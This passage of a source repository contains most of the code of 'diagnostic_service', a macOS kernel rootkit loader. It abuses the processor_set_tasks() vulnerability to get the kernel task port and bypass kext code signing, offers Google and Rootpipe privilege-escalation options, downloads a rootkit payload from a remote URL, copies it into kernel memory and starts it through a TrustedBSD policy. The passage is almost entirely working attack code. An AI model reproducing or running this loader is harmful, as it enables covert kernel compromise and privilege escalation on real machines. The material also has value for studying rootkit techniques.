kinfo->kaslr_slide), (void*)nlist->n_value); 170 | // the symbols are without kernel ASLR so we need to add it 171 | return (nlist->n_value + kinfo->kaslr_slide); 172 | } 173 | } 174 | // failure 175 | return 0; 176 | } 177 | -------------------------------------------------------------------------------- /diagnostic_service/kernel_symbols.h: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * kernel_symbols.h 25 | * Functions related to solve kernel symbols 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | 51 | #ifndef diagnostic_service_kernel_symbols_h 52 | #define diagnostic_service_kernel_symbols_h 53 | 54 | #include 55 | #include 56 | #include "structures.h" 57 | 58 | kern_return_t process_kernel_mach_header(const uint8_t *kernel_buffer, struct kernel_info *kinfo); 59 | mach_vm_address_t solve_kernel_symbol(struct kernel_info *kinfo, char *symbol_to_solve); 60 | 61 | #endif 62 | -------------------------------------------------------------------------------- /diagnostic_service/logging.h: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * logging.h 25 | * Logging macros 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | 51 | #ifndef diagnostic_service_logging_h 52 | #define diagnostic_service_logging_h 53 | 54 | #define ERROR_MSG(fmt, ...) fprintf(stderr, "[ERROR] " fmt " \n", ## __VA_ARGS__) 55 | #define OUTPUT_MSG(fmt, ...) fprintf(stdout, fmt " \n", ## __VA_ARGS__) 56 | #if DEBUG == 0 57 | # define DEBUG_MSG(fmt, ...) do {} while (0) 58 | #else 59 | # define DEBUG_MSG(fmt, ...) fprintf(stdout, "[DEBUG] " fmt "\n", ## __VA_ARGS__) 60 | #endif 61 | 62 | 63 | #endif 64 | -------------------------------------------------------------------------------- /diagnostic_service/main.c: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * This rootkit bypasses kernel extensions code signing requirement by leveraging 25 | * the processor_set_tasks() vulnerability that gives us access to kernel task port 26 | * 27 | * main.c 28 | * 29 | * Redistribution and use in source and binary forms, with or without 30 | * modification, are permitted provided that the following conditions 31 | * are met: 32 | * 1. Redistributions of source code must retain the above copyright 33 | * notice, this list of conditions and the following disclaimer. 34 | * 2. Redistributions in binary form must reproduce the above copyright 35 | * notice, this list of conditions and the following disclaimer in the 36 | * documentation and/or other materials provided with the distribution. 37 | * 3. The name of the author may not be used to endorse or promote products 38 | * derived from this software without specific prior written permission. 39 | * 40 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 41 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 42 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 43 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 44 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 45 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 46 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 47 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 48 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 49 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 50 | * 51 | */ 52 | 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | 69 | #include "mac_policy.h" 70 | #include "utils.h" 71 | #include "logging.h" 72 | #include "rootkit.h" 73 | #include "structures.h" 74 | #include "kernel_symbols.h" 75 | #include "kernel_code_exec.h" 76 | #include "trustedbsd.h" 77 | #include "exploit.h" 78 | #include "rootpipe_exploit.h" 79 | 80 | void 81 | header(void) 82 | { 83 | printf(" ____ _ _ _ \n" 84 | "| \\|_|___ ___ ___ ___ ___| |_|_|___ \n" 85 | "| | | | .'| . | | . |_ -| _| | _|\n" 86 | "|____/|_|__,|_ |_|_|___|___|_| |_|___|\n" 87 | " _____ |___| _ \n" 88 | "| __|___ ___ _ _|_|___ ___ \n" 89 | "|__ | -_| _| | | | _| -_| \n" 90 | "|_____|___|_| \\_/|_|___|___| \n\n" 91 | "(c) fG! 2014, 2015\n\n"); 92 | } 93 | 94 | void 95 | help(const char *name) 96 | { 97 | printf("\n---[ Usage: ]---\n" 98 | "%s path_to_rootkit_binary [-x]\n\n" 99 | "Where path is location of the kext binary to load or remote http/https URI.\n" 100 | "-x to use Google exploit for privilege escalation, only supported in Mavericks 10.9.5\n" 101 | "-r to use Rootpipe exploit for privilege escalation, only supported for Mavericks\n", name); 102 | } 103 | 104 | int 105 | main(int argc, const char * argv[]) 106 | { 107 | header(); 108 | 109 | const char *target_rootkit = NULL; 110 | if (argc >= 2) 111 | { 112 | target_rootkit = argv[1]; 113 | } 114 | else 115 | { 116 | ERROR_MSG("Wrong number of arguments."); 117 | help(argv[0]); 118 | return EXIT_FAILURE; 119 | } 120 | 121 | /* must be run as root */ 122 | if (argc == 2 && geteuid() != 0) 123 | { 124 | ERROR_MSG("Please run me as root!"); 125 | return EXIT_FAILURE; 126 | } 127 | 128 | /* mmap the kernel file so we can process it */ 129 | uint8_t *kernel_buf = NULL; 130 | size_t kernel_buf_size = 0; 131 | if (map_kernel_buffer(&kernel_buf, &kernel_buf_size) != KERN_SUCCESS) 132 | { 133 | ERROR_MSG("Failed to map kernel file, can't proceed."); 134 | return EXIT_FAILURE; 135 | } 136 | 137 | /* to solve kernel symbols we need two things 138 | * - kernel aslr slide 139 | * - symbols location 140 | */ 141 | struct kernel_info kinfo = {0}; 142 | 143 | /* process the kernel mach-o header to find symbols location */ 144 | if (process_kernel_mach_header(kernel_buf, &kinfo) != KERN_SUCCESS) 145 | { 146 | ERROR_MSG("Kernel Mach-O header processing failed."); 147 | return EXIT_FAILURE; 148 | } 149 | 150 | if (argc == 3 && strcmp(argv[2], "-x") == 0) 151 | { 152 | get_me_r00t(kernel_buf, &kinfo, argv); 153 | } 154 | /* just a quick hack around rootpipe exploit */ 155 | /* not exactly fine code, just in a rush :PPP */ 156 | else if (argc == 3 && strcmp(argv[2], "-r") == 0) 157 | { 158 | printf("Executing rootpiped diagnostic service...\n"); 159 | get_me_rootpipe(argv[0]); 160 | sleep(1); 161 | int rootpipe_fd = open("/tmp/suid_diagnostic_service", O_RDONLY); 162 | if (rootpipe_fd < 0) 163 | { 164 | ERROR_MSG("Can't open suid binary."); 165 | return EXIT_FAILURE; 166 | } 167 | close(rootpipe_fd); 168 | rootpipe_fd = open(argv[1], O_RDONLY); 169 | if (rootpipe_fd < 0) 170 | { 171 | ERROR_MSG("Can't find rootkit binary."); 172 | return EXIT_FAILURE; 173 | } 174 | char piped[MAXPATHLEN+1] = {0}; 175 | snprintf(piped, sizeof(piped), "/tmp/suid_diagnostic_service %s", argv[1]); 176 | system(piped); 177 | exit(0); 178 | } 179 | 180 | /* retrieve kaslr slide */ 181 | size_t kaslr_size = sizeof(kaslr_size); 182 | uint64_t kaslr_slide = 0; 183 | get_kaslr_slide(&kaslr_size, &kaslr_slide); 184 | kinfo.kaslr_slide = kaslr_slide; 185 | OUTPUT_MSG("[INFO] Kernel ASLR slide is 0x%llx", kaslr_slide); 186 | 187 | /* verify if processor_set_tasks() vulnerability exists */ 188 | /* vulnerability presented at BlackHat Asia 2014 by Ming-chieh Pan, Sung-ting Tsai. */ 189 | /* also described in Mac OS X and iOS Internals, page 387 */ 190 | mach_port_t kernel_port = 0; 191 | if (get_kernel_task_port(&kernel_port) != KERN_SUCCESS) 192 | { 193 | ERROR_MSG("Can't do anything without kernel task port. Exiting..."); 194 | return EXIT_FAILURE; 195 | } 196 | 197 | // install_disable_cr0_shellcode(kernel_port); 198 | 199 | /* install rootkit to kernel memory */ 200 | mach_vm_address_t rootkit_addr = 0; 201 | mach_vm_address_t rootkit_entrypoint = 0; 202 | if (install_rootkit(kernel_port, target_rootkit, &kinfo, &rootkit_addr, &rootkit_entrypoint) != KERN_SUCCESS) 203 | { 204 | ERROR_MSG("Error installing rootkit, bailing out!"); 205 | return EXIT_FAILURE; 206 | } 207 | /* we need to add the rootkit location to the rootkit entrypoint we got above */ 208 | rootkit_entrypoint += rootkit_addr; 209 | /* at this point we are ready to start kernel code execution via a TrustedBSD policy */ 210 | /* this will start the rootkit and then rootkit should be responsible for cleaning up this policy */ 211 | install_trustedbsd_policy(kernel_port, &kinfo, rootkit_entrypoint); 212 | 213 | end: 214 | /* cleanup */ 215 | unmap_kernel_buffer(kernel_buf, kernel_buf_size); 216 | 217 | return EXIT_SUCCESS; 218 | } 219 | -------------------------------------------------------------------------------- /diagnostic_service/remote.h: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * remote.h 25 | * Functions related to retrieve rootkit from online locations 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | #ifndef diagnostic_service_remote_h 51 | #define diagnostic_service_remote_h 52 | 53 | #include 54 | 55 | int download_remote_rootkit(uint8_t **buffer, const char *url); 56 | 57 | #endif 58 | -------------------------------------------------------------------------------- /diagnostic_service/remote.m: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * remote.m 25 | * Functions related to retrieve rootkit from online locations 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | 51 | #import 52 | #include 53 | 54 | #include "logging.h" 55 | 56 | /* 57 | * download, allocate buffer, and copy rootkit to buffer 58 | * caller responsible for free'ing the buffer 59 | * 60 | * nothing too fancy, just use Cocoa methods to make this work in a couple of lines 61 | * 62 | * @return 0 on success, 1 on error 63 | */ 64 | int 65 | download_remote_rootkit(uint8_t **buffer, const char *url) 66 | { 67 | OUTPUT_MSG("\n-----[ Downloading remote rootkit from %s ]-----", url); 68 | NSError *error = nil; 69 | NSData *rootkit = [NSData dataWithContentsOfURL:[NSURL URLWithString:[NSString stringWithFormat:@"%s", url]] 70 | options:NSDataReadingUncached 71 | error:&error]; 72 | if (error) 73 | { 74 | ERROR_MSG("Error downloading remote rootkit payload: %s.", [[error localizedDescription] UTF8String]); 75 | return 1; 76 | } 77 | size_t rootkit_size = [rootkit length]; 78 | /* allocate memory */ 79 | *buffer = calloc(1, rootkit_size); 80 | if (*buffer != NULL) 81 | { 82 | /* copy data */ 83 | memcpy(*buffer, [rootkit bytes], rootkit_size); 84 | return 0; 85 | } 86 | /* error */ 87 | return 1; 88 | } 89 | -------------------------------------------------------------------------------- /diagnostic_service/rootkit.c: -------------------------------------------------------------------------------- 1 | /* 2 | * _(`-') _ (`-') _ <-. (`-')_ (`-').->(`-') _ 3 | * ( (OO ).-> (_) (OO ).-/ .-> \( OO) ) .-> ( OO)_ ( OO).-> (_) _ 4 | * \ .'_ ,-(`-')/ ,---. ,---(`-'),--./ ,--/ (`-')----. (_)--\_) / '._ ,-(`-') \-,-----. 5 | * '`'-..__) | ( OO)| \ /`.\ ' .-(OO )| \ | | ( OO).-. '/ _ / |'--...__)| ( OO) | .--./ 6 | * | | ' | | | )'-'|_.' || | .-, \| . '| |)( _) | | |\_..`--. `--. .--'| | ) /_) (`-') 7 | * | | / :(| |_/(| .-. || | '.(_/| |\ | \| |)| |.-._) \ | | (| |_/ || |OO ) 8 | * | '-' / | |'->| | | || '-' | | | \ | ' '-' '\ / | | | |'->(_' '--'\ 9 | * `------' `--' `--' `--' `-----' `--' `--' `-----' `-----' `--' `--' `-----' 10 | * (`-').->(`-') _ (`-') (`-') _ (`-') _ 11 | * ( OO)_ ( OO).-/<-.(OO ) _(OO ) (_) _ ( OO).-/ 12 | * (_)--\_)(,------.,------,),--.(_/,-.\ ,-(`-') \-,-----.(,------. 13 | * / _ / | .---'| /`. '\ \ / (_/ | ( OO) | .--./ | .---' 14 | * \_..`--.(| '--. | |_.' | \ / / | | ) /_) (`-')(| '--. 15 | * .-._) \| .--' | . .'_ \ /_)(| |_/ || |OO ) | .--' 16 | * \ /| `---.| |\ \ \-'\ / | |'->(_' '--'\ | `---. 17 | * `-----' `------'`--' '--' `-' `--' `-----' `------' 18 | * 19 | * A kernel rootkit loader based on processor_set_tasks() vulnerability 20 | * 21 | * Copyright (c) fG!, 2014, 2015. All rights reserved. 22 | * reverser@put.as - https://reverse.put.as 23 | * 24 | * rootkit.c 25 | * Functions related to load and execute the rootkit into kernel memory 26 | * 27 | * Redistribution and use in source and binary forms, with or without 28 | * modification, are permitted provided that the following conditions 29 | * are met: 30 | * 1. Redistributions of source code must retain the above copyright 31 | * notice, this list of conditions and the following disclaimer. 32 | * 2. Redistributions in binary form must reproduce the above copyright 33 | * notice, this list of conditions and the following disclaimer in the 34 | * documentation and/or other materials provided with the distribution. 35 | * 3. The name of the author may not be used to endorse or promote products 36 | * derived from this software without specific prior written permission. 37 | * 38 | * THIS SOFTWARE IS PROVIDED BY THE AUTHOR ``AS IS'' AND ANY EXPRESS OR 39 | * IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES 40 | * OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. 41 | * IN NO EVENT SHALL THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, 42 | * INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT 43 | * NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, 44 | * DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY 45 | * THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 46 | * (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF 47 | * THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 48 | * 49 | */ 50 | 51 | #include "rootkit.h" 52 | 53 | #include 54 | #include 55 | #include 56 | #include 57 | #include 58 | #include 59 | #include 60 | #include 61 | #include 62 | #include 63 | #include 64 | #include 65 | #include 66 | #include 67 | #include 68 | #include 69 | #include 70 | 71 | #include "logging.h" 72 | #include "utils.h" 73 | #include "kernel_symbols.h" 74 | #include "remote.h" 75 | 76 | /* some local structure to make things easier to reference */ 77 | struct reloc_info 78 | { 79 | struct dysymtab_command *dysymtab; 80 | struct symtab_command *symtab; 81 | }; 82 | 83 | static char * find_symbol_by_nr(uint8_t *buffer, struct reloc_info *ri, int sym_number); 84 | static uint32_t get_rootkit_mem_size(const uint8_t *buffer); 85 | static int copy_rootkit_to_kmem(mach_port_t kernel_port, mach_vm_address_t rootkit_addr, const uint8_t *buffer); 86 | static kern_return_t process_rootkit_relocations(mach_port_t kernel_port, uint8_t *buffer, struct kernel_info *kinfo, mach_vm_address_t rootkit_address); 87 | static mach_vm_address_t find_rootkit_entrypoint(uint8_t *buffer); 88 | static kern_return_t map_local_rootkit(const char *filename, uint8_t **buffer, size_t *size); 89 | static kern_return_t unmap_local_rootkit(uint8_t *buffer, size_t size); 90 | 91 | #pragma mark - 92 | #pragma mark Exported functions 93 | 94 | kern_return_t 95 | install_rootkit(mach_port_t kernel_port, const char *filename, 